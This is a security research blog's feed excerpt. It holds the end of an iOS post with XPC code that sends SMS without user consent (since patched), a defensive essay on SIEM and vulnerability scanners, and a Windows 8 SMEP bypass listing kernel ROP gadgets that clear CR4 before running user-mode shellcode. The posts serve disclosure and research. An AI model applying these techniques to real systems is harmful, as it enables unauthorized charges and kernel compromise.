xpc_dictionary_set_int64&lt;span style="color: #808030;"&gt;(&lt;/span&gt;mydict&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #0000e6;"&gt;message-type&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
xpc_dictionary_set_data&lt;span style="color: #808030;"&gt;(&lt;/span&gt;mydict&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #0000e6;"&gt;recipients&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #808030;"&gt;[&lt;/span&gt;ser_rec bytes&lt;span style="color: #808030;"&gt;]&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #808030;"&gt;[&lt;/span&gt;ser_rec length&lt;span style="color: #808030;"&gt;]&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
xpc_dictionary_set_string&lt;span style="color: #808030;"&gt;(&lt;/span&gt;mydict&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #0000e6;"&gt;text&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #0000e6;"&gt;hello from your application!&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;

&lt;span style="font-family: 'Times New Roman'; white-space: normal;"&gt;Little is left: send the message to the XPC port and make sure it is delivered.&lt;/span&gt;

xpc_connection_send_message&lt;span style="color: #808030;"&gt;(&lt;/span&gt;myconnection&lt;span style="color: #808030;"&gt;,&lt;/span&gt; mydict&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
xpc_connection_send_barrier&lt;span style="color: #808030;"&gt;(&lt;/span&gt;myconnection&lt;span style="color: #808030;"&gt;,&lt;/span&gt; ^{
        NSLog&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;@&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #0000e6;"&gt;Message has been successfully delievered&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: #808030;"&gt;})&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;&lt;/pre&gt;
Sound of SMS sent to a short number.&lt;br /&gt;
So prior to elimination of this vulnerability in iOS 6, any application could send SMS without user's approval. Apple has provided iOS 6 with one more security layer, which prevents connections to the service from a sandbox.&lt;br /&gt;
&lt;br /&gt;
Thank you for attention!&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;Author: Kirill Ermakov, Positive Research.&lt;/i&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</description><link>http://blog.ptsecurity.com/2012/10/your-flashlight-can-send-sms-one-more.html</link><author>noreply@blogger.com (Positive Research)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-9ElastxBk-c/UIfenCeHfcI/AAAAAAAAB3g/zoDjoVpKPh0/s72-c/ios.jpg" height="72" width="72" /><thr:total>3</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-7013143294041458291</guid><pubDate>Mon, 08 Oct 2012 12:53:00 +0000</pubDate><atom:updated>2012-10-08T05:55:53.291-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">SIEM</category><category domain="http://www.blogger.com/atom/ns#">vulnerability scanner</category><title>SIEM + scanner. Headache Pills?</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-rQoxHgFLflo/UHLAgMfyyTI/AAAAAAAAB0s/A3PKJORBTTA/s1600/siem.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="170" src="http://2.bp.blogspot.com/-rQoxHgFLflo/UHLAgMfyyTI/AAAAAAAAB0s/A3PKJORBTTA/s200/siem.png" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;
Security systems are developed and adjusted to new threats all the time. The number of information resources, from which the data on the current security state is transferred, is getting bigger day by day. However, if you fail to detect and prevent threats timely, even hundreds of intrusion detection systems will be useless. And here the SIEM (Security Information and Event Management) systems come at help. These systems are in the focus of the article.&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;h2 style="text-align: left;"&gt;
What is SIEM?&lt;/h2&gt;
The SIEM system fulfills the following tasks:&lt;br /&gt;
&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;Consolidation and storage of event logs from various resources — network devices, applications, OS logs, protection tools. Any information security standard provides technical requirements on event collection and analysis. They are needed not only to fulfill a standard requirement. There are situations when an incident is noticed too late, and events were erased long ago, or event logs are unavailable, and in fact it is impossible to find out the incident reasons. Moreover, connecting to each resource and event viewing will take too much time. Otherwise, without event analysis, there is a risk to learn about an incident in your company from the news.&lt;/li&gt;
&lt;li&gt;Provision of tools for event analysis and incident investigation. Event formats differ in various resources. Text format in case of huge volumes is too tiresome; it reduces the possibility of incident detection. A part of products of the SIEM class unifies events and make them more readable, and the interface visualizes only important information events, focuses on them, allows filtering out not critical events.&lt;/li&gt;
&lt;li&gt;Correlation and processing in accordance with rules. An incident cannot be judged by only one event. The simplest example is login failed — one event means nothing, but three and more such events with the same account can already indicate brute force attempts. Rules in SIEM, in the simplest case, are represented as RBR (Rule Based Reasoning) and contain a set of conditions, triggers, counters, an action script.&lt;/li&gt;
&lt;li&gt;Automatic notification and incident management. The SIEM primary task is not only to collect events, but to automate the process of event detection and registration in its own log or an external system HelpDesk, and to inform about the event timely.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
SIEM is able to detect:&lt;br /&gt;
&lt;br /&gt;
•&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Network attacks in internal and external perimeters&lt;br /&gt;
•&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Virus epidemics or particular virus attacks, viruses not removed, backdoors and trojans&lt;br /&gt;
•&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Unauthorized attempts to access confidential information&lt;br /&gt;
•&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Fraud&lt;br /&gt;
•&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Errors and failures in information system functioning&lt;br /&gt;
•&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Vulnerabilities&lt;br /&gt;
•&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Configuration errors in protection tools and information systems&lt;br /&gt;
&lt;br /&gt;
The SIEM system is multipurpose due to its logic. However, for its tasks to be solved, useful correlation resources and rules are needed. Any information about an event (for instance, if a door of a particular room has opened) can be sent to the SIEM system and used.&lt;br /&gt;
&lt;br /&gt;
Resources are selected on the basis of the following factors:&lt;br /&gt;
&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;Severity of a system (value, risks) and information (processed and stored)&lt;/li&gt;
&lt;li&gt;Validity and self-descriptiveness of event resources&lt;/li&gt;
&lt;li&gt;Information channel coverage (not only external, but an internal network perimeter should be taken into account)&lt;/li&gt;
&lt;li&gt;Solution of IT and IS tasks (ensuring continuity, incident investigation, policy compliance, information leakage prevention, etc.)&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
Primary SIEM resources&lt;br /&gt;
&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;Access Control, Authentication — to control access to information systems and to use privileges&lt;/li&gt;
&lt;li&gt;Event logs of servers and working stations — to control access, ensure continuity, comply with information security policies&lt;/li&gt;
&lt;li&gt;Active network equipment (modification control and access, network traffic counters)&lt;/li&gt;
&lt;li&gt;IDS\IPS. Notifications about network attacks, configuration changes, and device access&lt;/li&gt;
&lt;li&gt;Antivirus protection. Notifications about software workability, databases, configuration and policy changes, malware&lt;/li&gt;
&lt;li&gt;Vulnerability scanners. Inventory of assets, services, software, vulnerabilities, provision of inventory data and topological structure&lt;/li&gt;
&lt;li&gt;GRC systems for recording of risks, threat severity, incident prioritization&lt;/li&gt;
&lt;li&gt;Other systems of protection and compliance with IS policies (DLP, antifraud, device control, etc.)&lt;/li&gt;
&lt;li&gt;Inventory and asset management systems — to control and detect new infrastructure assets&lt;/li&gt;
&lt;li&gt;Netflow and traffic control systems&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
The SIEM solution usually consists of several components:&lt;br /&gt;
&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;Agents installed on an information system under investigation (essential for operating systems; an agent is a resident program (service, demon), which collects event logs locally and transfers them to a server if possible).&lt;/li&gt;
&lt;li&gt;Agents' collectors, which in fact are modules (libraries) for interpreting a particular event log or system.&lt;/li&gt;
&lt;li&gt;Server collectors intended for prior event accumulation from various resources.&lt;/li&gt;
&lt;li&gt;A server correlator responsible for collecting of information from collectors and agents and processing it in accordance with the rules and algorithms of correlation.&lt;/li&gt;
&lt;li&gt;Database and storage server responsible for event log storing.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
Event data is collected from resources with the help of the agents installed on them or remotely (using connections via NetBIOS, RPC, TFTP, FTP). The second option results in network and event resource loading, because some systems do not allow transmitting only those events, which have not been transferred yet, and transmit to SIEM the whole log weighing very often hundreds of megabytes. And it is not correct to remove a log each time when data is collected.&lt;br /&gt;
&lt;br /&gt;
Events should not only be collected in a consolidated storage in case of an incident, but processed as well. Otherwise the solution will not justify your expenses. Of course, the SIEM toolset will save time needed for an incident investigation. However, SIEM is meant to detect and prevent threats timely. To fulfill this task, it is necessary to compose correlation rules taking into account company's relevant risks. These rules are not permanent and should be updated by experts all the time. Similar to intrusion detection systems, if a rule allowing detecting a typical threat is not created in a proper time, the attack is likely to be conducted. SIEM has an advantage over IDS — it is possible to specify general description of symptoms and use baseline statistics to monitor deviations from common behavior of information systems and traffic.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-71lhcpr3EtU/UHK6FhWdrhI/AAAAAAAABz8/ZHQ863QMN2k/s1600/2page-img1-4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="323" src="http://2.bp.blogspot.com/-71lhcpr3EtU/UHK6FhWdrhI/AAAAAAAABz8/ZHQ863QMN2k/s400/2page-img1-4.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
Its rules resemble the Snort rules vaguely. They describe threat criteria and reaction to them. I have explained the simplest example with &lt;i&gt;login failed earlier&lt;/i&gt;. When applied, a more complicated example may be &lt;i&gt;login failed&lt;/i&gt; in a particular information system with specification of a user group and remote object name. In case of fraud — distance parameters of two places where a bank card was last used within a small time interval (for instance, a client pays for petrol in Moscow and in 5 minutes somebody tries to withdraw 5,000 Euro in Australia).&lt;br /&gt;
&lt;br /&gt;
Incident registration in its own or external HelpDesk system is not less important. First of all, incidents are documented. If an incident is registered, then there must be a person responsible for its elimination within a certain period of time. No incident will be missed (as it happens with notifications by email). Second, it provides incident statistics, which allows detecting problems (incidents of the same type, repeating incidents and incidents closed without elimination of an actual problem). Statistics and key indicators may be used to evaluate work efficiency of particular employees, IS departments, protection tools.&lt;br /&gt;
&lt;br /&gt;
SIEM can help to make the threat detection process completely automated. If such a system is implemented correctly, an IS department reaches much higher level of service provision. SIEM allows paying attention only to very important threats, working not with events but with incidents, detecting abnormal behavior and risks, preventing financial losses.&lt;br /&gt;
&lt;br /&gt;
It is important to realize that SIEM is not only the tool of information security but of the whole information technology. Strong correlation mechanisms can ensure continuity of IT service operation, detect outages of information and operating systems, hardware. Moreover, SIEM is a tool of automation. The most common example relevant for the majority of companies is the conflict of IP addresses. An easy RBR rule can notify about an incident long before a user call. Besides, the reasons can be eliminated with fewer costs, and therefore probable financial losses will be decreased.&lt;br /&gt;
&lt;br /&gt;
Analyzing actual SIEM application, we have to accept that in the majority of cases the work of such systems is aimed at consolidation of logs from various resources. In fact, only SIEM hardware and software is used. If correlation rules have been already set, they are not updated.&lt;br /&gt;
&lt;br /&gt;
&lt;h2 style="text-align: left;"&gt;
SIEM and (or) vulnerability scanner&lt;/h2&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
Due to some marketing publications, a myth that it is possible to protect the whole network perimeter with only one protection tool runs in the minds of integrators. You can often hear such questions as, "why do you require host IDS if it is only needed to use border ones?", "why do you want a security scanner if you have SIEM installed?", "what is the use of a vulnerability scanner, if IDS safely protects everything?" Let's check how things go in reality.&lt;br /&gt;
&lt;br /&gt;
SIEM can correlate:&lt;br /&gt;
&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;A known, described by correlation rules threat&lt;/li&gt;
&lt;li&gt;A threat based on a general template&lt;/li&gt;
&lt;li&gt;Abnormal behavior in case of deviation from a baseline&lt;/li&gt;
&lt;li&gt;Deviation from a security policy based on the idea "everything what is not allowed is prohibited" (it is possible not in all SIEM systems)&lt;/li&gt;
&lt;li&gt;Cause-effect relations if correlation algorithms such as CBR (codebook, smart), GBR (graph based), statistical, Bayesian are used&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
The last three algorithms are rarely applied in Russia. Not all SIEM systems can work with these correlation methods. Their use increases the cost of the system maintenance — a qualified specialist is needed to configure them, update, and maintain their workability. Of course, there are a lot of false notifications at the beginning of use. That is why companies very often just disable these detection mechanisms.&lt;br /&gt;
It turns out that only two simplest detection algorithms with a preset threat description are used. If a threat is new, it will not be detected. A vivid example is APT (Advanced Persistent Threat) in RSA, the developer of SIEM (uses its own system).&lt;br /&gt;
&lt;br /&gt;
For the proper operation of these two algorithms, it is required to update data about threats all the time similar to IDS. As a result, threats are duplicated in IDS and SIEM (but SIEM correlation rules are updated much more rarely than IDS rules). Rules updating in the SIEM products is often missing — not all companies can afford a qualified analyst of SIEM and its rules, and besides this country lacks good specialists.&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;So in case of one-time configuration of correlation rules, an incident (for instance, a network attack) will be detected only if it is reported by another protection tool (IDS, for example).&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
Let's consider one more practical example. In case of a vulnerability, at first it can be revealed only by detecting particular criteria — software or plug-in version, various configuration parameters. You may know about a vulnerability beforehand, but you will learn the method of its exploitation detection only after the issue of a bulletin. Of course, a malware user can freely exploit this vulnerability during the whole period. All security tools will keep silent in the majority of cases, because they do not know the methods of detecting attacks exploiting this vulnerability. Even if updates and vulnerability elimination techniques have been issued, it is not always possible to fix it in a system (think of effort, testing necessity, incompatibility of different systems, sometimes it cannot be eliminated at all). Remaining risks are accumulated up to a dangerous state, but they can be and should be controlled.&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;Integration of a vulnerability scanner with SIEM allows combining several methods of threat detection and significantly increasing probability of timely detection.&lt;/i&gt; For instance, SIEM can detect an abnormal behavior through a baseline, but without information that an asset has a vulnerability SIEM will not be able to identify with what exactly this abnormal behavior is connected. If there is data from a vulnerability scanner, then SIEM will be able to conclude that this vulnerability is exploited.&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;With information about a vulnerability and asset severity from a vulnerability scanner, the SIEM system is able to prioritize incidents in accordance with their severity.&lt;/i&gt; First of all it will allow reacting to significant incidents important for business.&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;Vulnerability scanner is an excellent supplier of inventory information for SIEM (software versions, its configuration); this information can be used to detect an incident, to find out what it results from.&lt;/i&gt; For instance, the swap parameter of a file has been changed by a user company\p_kolya. The server is frequently restarted. It is quite typical, and only the SIEM system is able to reveal cause-effect relations. However, without integration with a vulnerability scanner, you will look for the reasons for quite a long time, and your company will endure financial losses because of the service delay.&lt;br /&gt;
&lt;br /&gt;
Do you know all computers in your network? Do all of them belong to your company? Are all of them provided with security tools in accordance with the security policy? Are these security tools functioning and configured properly?&lt;br /&gt;
&lt;br /&gt;
Use of an embedded into SIEM mechanism that checks compliance with internal policies and high-level standards without integration with a vulnerability scanner will not provide you with a complete picture, because very few technical requirements are used. A vulnerability scanner is intended not only to detect vulnerabilities, but to supply the major part of controls. You may not even once be notified about a virus, but it does not mean your antivirus protection functions correctly. You may not even have it. SIEM will never inform you that antivirus software is not installed or the option of file protection is disabled. And a vulnerability scanner can provide you not only with this but with other useful information as well.&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;No resource will be able to provide you with more detailed and complete information about a vulnerability in your system and possible ways of its exploitation (with regard to the network topological structure and configuration) than a vulnerability scanner.&lt;/i&gt; A vulnerability may be present in a system but remain unexploited (a network port is closed, a service is stopped, VLAN is organized on active network equipment, or firewall rules locked traffic to this port). Such information can reduce remaining risks, help to apply resources only to necessary protection tools and to rule out false incidents.&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;Configuration management process, so complicated to be implemented, becomes simple if SIEM and a vulnerability scanner are used together.&lt;/i&gt; You can analyze what has changed, who's made these changes and when, and you can also automatically evaluate what they've affected. You only need to compose correlation rules in SIEM and configure parameters of information forwarded from a scanner; the SIEM system will perform other logic itself.&lt;br /&gt;
&lt;br /&gt;
Of course, a scanner without SIEM reduces risks and allows evaluating possible attack vectors as well. However, continuous asset scanning will increase their and network resource loading. A vulnerability can appear within an interval between scanning, and the bigger these intervals, the larger financial risks. SIEM keeps guarding your system within these intervals. The SIEM scripts allow forcing a vulnerability scanner to start running and information to be updated in case of any threat.&lt;br /&gt;
&lt;br /&gt;
It is evident that the more effective information resources SIEM has, the more it is possible to detect a threat at the stage of its appearance. You can use SIEM and a vulnerability scanner separately. However, if they are used together, the risks with the hugest ROI index will be significantly minimized. This article has touched upon the simplest cases, which can be automated; when applied they are much more numerous.&lt;br /&gt;
Thank you for attention!&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;i&gt;Author: Olesya Shelestova, Positive Research.&lt;/i&gt;
</description><link>http://blog.ptsecurity.com/2012/10/siem-scanner-headache-pills.html</link><author>noreply@blogger.com (Positive Research)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-rQoxHgFLflo/UHLAgMfyyTI/AAAAAAAAB0s/A3PKJORBTTA/s72-c/siem.png" height="72" width="72" /><thr:total>3</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-4499820842718429907</guid><pubDate>Wed, 19 Sep 2012 13:00:00 +0000</pubDate><atom:updated>2012-09-19T06:35:45.754-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">SMEP bypass</category><category domain="http://www.blogger.com/atom/ns#">ROP</category><category domain="http://www.blogger.com/atom/ns#">SMEP</category><category domain="http://www.blogger.com/atom/ns#">Windows 8</category><title>Bypassing Intel SMEP on Windows 8 x64 Using Return-oriented Programming</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-LFUOJhnWn_U/UFdDZ_rRhEI/AAAAAAAABvI/DS2Hmisl-as/s1600/windows-8-bluescreen-bsod.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="155" src="http://3.bp.blogspot.com/-LFUOJhnWn_U/UFdDZ_rRhEI/AAAAAAAABvI/DS2Hmisl-as/s200/windows-8-bluescreen-bsod.jpg" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;i&gt;Authors: Artem Shishkin, Ilya Smit (Positive Research)&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
This article presents a way to bypass Intel SMEP security feature on x64 version of Windows 8. It is performed by using return-oriented programming. A way to build a suitable ROP chain is demonstrated below.&lt;br /&gt;
&lt;br /&gt;
SMEP feature doesn’t allow executing a code from a user-mode page in supervisor mode (CPL = 0). Any attempt of executing a code under these circumstances on Windows 8 ends up with a blue screen of death with a bugcheck code “ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY”. For more details on how SMEP is implemented in Windows 8 please refer to &lt;a href="http://www.blogger.com/blogger.g?blogID=8549938467002440724#anchor"&gt;[1]&lt;/a&gt;.&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
In order to disable SMEP, the 20th bit of CR4 register has to be reset. There are two steps in bypassing SMEP — firstly, we’ll need to find out the value of CR4 register, and secondly, we’ll need a way to set a new value of CR4 register. The first step is needed because we have to preserve the original value of the other CR4 bits. The point is that various bits of this register are responsible for enabling or disabling certain processor features. The OS enables those features only once during the system startup and they are not supposed to be modified in a runtime. Modifying various bits of CR4 register can lead to undefined behavior or a system crash.&lt;br /&gt;
&lt;br /&gt;
The preliminary requirement of a successful attack on SMEP is making the shellcode (or a ROP chain in our case) dynamic, that is, all of the needed code offsets have to be calculated in a runtime. For this, a certain kernel-mode information disclosure is needed, e.g. when determining the base address of a module with ROP gadgets &lt;a href="http://www.blogger.com/blogger.g?blogID=8549938467002440724#anchor"&gt;[2]&lt;/a&gt;. A code for parsing PE file format is also needed to ensure that the found gadgets are located in the executable section of the exploited module.&lt;br /&gt;
&lt;br /&gt;
There are two approaches that can be used for getting the value of CR4 register. The first one is using a ROP chain. There is a suitable function KiSaveInitialProcessorControlState() present in the “ntoskrnl” module. The body of this function is provided below.
&lt;br /&gt;
&lt;blockquote class="tr_bq"&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, Courier, monospace;"&gt;KiSaveInitialProcessorControlState():&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, Courier, monospace;"&gt;mov &amp;nbsp; &amp;nbsp; rax, cr0&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, Courier, monospace;"&gt;mov &amp;nbsp; &amp;nbsp; [rcx], rax&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, Courier, monospace;"&gt;mov &amp;nbsp; &amp;nbsp; rax, cr2&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, Courier, monospace;"&gt;mov &amp;nbsp; &amp;nbsp; [rcx+8], rax&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, Courier, monospace;"&gt;mov &amp;nbsp; &amp;nbsp; rax, cr3&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, Courier, monospace;"&gt;mov &amp;nbsp; &amp;nbsp; [rcx+10h], rax&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, Courier, monospace;"&gt;mov &amp;nbsp; &amp;nbsp; rax, cr4&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, Courier, monospace;"&gt;mov &amp;nbsp; &amp;nbsp; [rcx+18h], rax&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, Courier, monospace;"&gt;mov &amp;nbsp; &amp;nbsp; rax, cr8&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, Courier, monospace;"&gt;mov &amp;nbsp; &amp;nbsp; [rcx+0A0h], rax&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, Courier, monospace;"&gt;sgdt &amp;nbsp; &amp;nbsp;fword ptr [rcx+56h]&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, Courier, monospace;"&gt;sidt &amp;nbsp; &amp;nbsp;fword ptr [rcx+66h]&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, Courier, monospace;"&gt;str &amp;nbsp; &amp;nbsp; word ptr [rcx+70h]&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, Courier, monospace;"&gt;sldt &amp;nbsp; &amp;nbsp;word ptr [rcx+72h]&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, Courier, monospace;"&gt;stmxcsr dword ptr [rcx+74h]&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, Courier, monospace;"&gt;retn&lt;/span&gt;&lt;/blockquote&gt;
&lt;div style="text-align: center;"&gt;
Listing 1. KiSaveInitialProcessorControlState() function&lt;/div&gt;
&lt;br /&gt;
As we can see, this function can be successfully used for retrieving various interesting information about the processor control state. It is also not guarded with stack cookies and uses volatile registers RAX and RCX.&lt;br /&gt;
&lt;br /&gt;
That’s grand!&lt;br /&gt;
&lt;br /&gt;
We can fill in the values of RAX and RCX registers with another ROP gadgets just like at the end of the&amp;nbsp;
HvlEndSystemInterrupt() function shown in listing 2.&lt;br /&gt;
&lt;blockquote class="tr_bq"&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, Courier, monospace;"&gt;HvlEndSystemInterrupt():&lt;br /&gt;…&lt;br /&gt;pop &amp;nbsp; &amp;nbsp; rdx&lt;br /&gt;pop &amp;nbsp; &amp;nbsp; rax&lt;br /&gt;pop &amp;nbsp; &amp;nbsp; rcx&lt;br /&gt;retn&lt;/span&gt;&lt;/blockquote&gt;
&lt;div style="text-align: center;"&gt;
&amp;nbsp;Listing 2. HvlEndSystemInterrupt() function ROP gadget&lt;/div&gt;
&lt;br /&gt;
The problem of this method is that it depends mostly on the situation. There are certain cases when it is difficult to restore the original control flow of the exploiting program. In our case, we also need to reset the 20th bit of CR4 value, but there is no suitable ROP gadget that can be found in the “ntoskrnl” module for that, so some user mode code has to be executed which is impossible due to the fact that SMEP is still enabled. However, you can look for a suitable ROP gadget in other loaded modules in a runtime.&lt;br /&gt;
&lt;br /&gt;
The other approach is to emulate the initialization of CR4 register. Most of the bits in CR4 can be set or reset with the help of “cpuid” instruction which defines supported features for the current processor. This method is more convenient although less reliable.&lt;br /&gt;
&lt;br /&gt;
The second step of bypassing SMEP is using a gadget that will set the new CR4 register value. For that KiConfigureDynamicProcessor() function can be used.&lt;br /&gt;
&lt;blockquote class="tr_bq"&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, Courier, monospace;"&gt;KiConfigureDynamicProcessor():&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, Courier, monospace;"&gt;…&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, Courier, monospace;"&gt;mov &amp;nbsp; &amp;nbsp; cr4, rax&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, Courier, monospace;"&gt;add &amp;nbsp; &amp;nbsp; rsp, 28h&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, Courier, monospace;"&gt;retn&lt;/span&gt;&lt;/blockquote&gt;
&lt;div style="text-align: center;"&gt;
Listing 3. KiConfigureDynamicProcessor() function ROP gadget&lt;/div&gt;
&lt;br /&gt;
Once SMEP is disabled, we can jump to the user-mode buffer with a shellcode. Luckily, there is no stack cookie security feature in the exploited ROP gadgets. Here goes out an obvious mitigation: adding a stack cookie security feature to the functions with ROP gadgets could significantly complicate SMEP bypassing using a ROP chain.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: large;"&gt;&lt;b&gt;References:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://www.blogger.com/blogger.g?blogID=8549938467002440724#editor/target=post;postID=4499820842718429907" name="anchor"&gt;[1]&lt;/a&gt; Artem Shishkin: Intel SMEP overview and partial bypass on Windows 8.&lt;br /&gt;
&lt;a href="http://blog.ptsecurity.com/2012/09/intel-smep-overview-and-partial-bypass.html"&gt;http://blog.ptsecurity.com/2012/09/intel-smep-overview-and-partial-bypass.html&lt;/a&gt;&lt;br /&gt;
